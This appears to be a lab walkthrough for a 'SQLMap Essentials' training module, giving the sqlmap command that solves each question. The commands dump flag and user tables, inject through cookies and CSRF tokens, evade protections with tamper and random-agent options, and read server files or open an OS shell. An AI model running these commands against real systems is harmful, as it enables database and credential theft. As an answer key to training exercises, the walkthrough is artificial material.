Sitemap

SQLMap Essentials

3 min readSep 30, 2026

What’s the contents of table flag2? (Case #2)

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.78:31678/case2.php" — data ‘id=1’ — batch — dump

What’s the contents of table flag3? (Case #3)

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.78:31678/case3.php" -H ‘Cookie: id=*’ — batch — dump

What’s the contents of table flag4? (Case #4)

Press enter or click to view image in full size
Intercept the request with Burp. Forward the traffic to a post request and save the post request to a file “case4.txt”.
Press enter or click to view image in full size
sqlmap -r case4.txt — batch — dump

What’s the contents of table flag5? (Case #5)

Press enter or click to view image in full size
Press enter or click to view image in full size
sqlmap -u “http://154.57.164.76:30675/case5.php?id=*" — level=5 — risk=3 -T flag5 — batch — dump

What’s the contents of table flag6? (Case #6)

Press enter or click to view image in full size
Press enter or click to view image in full size
sqlmap -u “http://154.57.164.76:30675/case6.php?col=id" — prefix=’`)’ -T flag6 — batch — dump

What’s the contents of table flag7? (Case #7)

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.76:30675/case7.php?id=1" -T flag7 — technique=U — union-cols=5 — dump

What’s the contents of table flag1 in the testdb database? (Case #1)

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.76:30675/case1.php?id=1" — banner — current-user — current-db — is-dba — batch — dump

What’s the name of the column containing “style” in it’s name? (Case #1)

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.76:30675/case1.php?id=1" — schema — search -C style — batch

What’s the Kimberly user’s password? (Case #1)

Get Jordi Been’s stories in your inbox

Join Medium for free to get updates from this writer.

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.83:30448/case1.php?id=1" — schema
Press enter or click to view image in full size
sqlmap -u “http://154.57.164.83:30448/case1.php?id=1" — dump -D testdb -T users — batch

What’s the contents of table flag8? (Case #8)

Press enter or click to view image in full size
Press enter or click to view image in full size
sqlmap -u “http://154.57.164.83:30448/case8.php?id=*" — data=”id=1&t0ken=AWZLDNGzimhwts6XRfGyrnZr7wXGKTAxtIQRrrv8KSo” — csrf-token=”t0ken” — batch — dump

What’s the contents of table flag9? (Case #9)

Press enter or click to view image in full size
Press enter or click to view image in full size
sqlmap -u “http://154.57.164.83:30876/case9.php?id=1&uid=3262887509" — randomize=uid — batch — dump

What’s the contents of table flag10? (Case #10)

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.78:30849/case10.php" — data=”id=1" — random-agent — batch — dump

What’s the contents of table flag11? (Case #11)

Press enter or click to view image in full size
sqlmap -u “http://154.57.164.78:30849/case11.php?id=1" — tamper=between — batch — dump

Try to use SQLMap to read the file “/var/www/html/flag.txt”.

Press enter or click to view image in full size

Use SQLMap to get an interactive OS shell on the remote host and try to find another flag within the host.

Press enter or click to view image in full size

What’s the contents of table final_flag?

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
All options are required to bypass the protections put forth to protect the database.
Press enter or click to view image in full size
We add the name of the database and the name of the table “final_flag”.

Jordi Been
Jordi Been

Written by Jordi Been

CPTS, OSCP+, OSCP, PNPT, PJPT, CAT & Sec+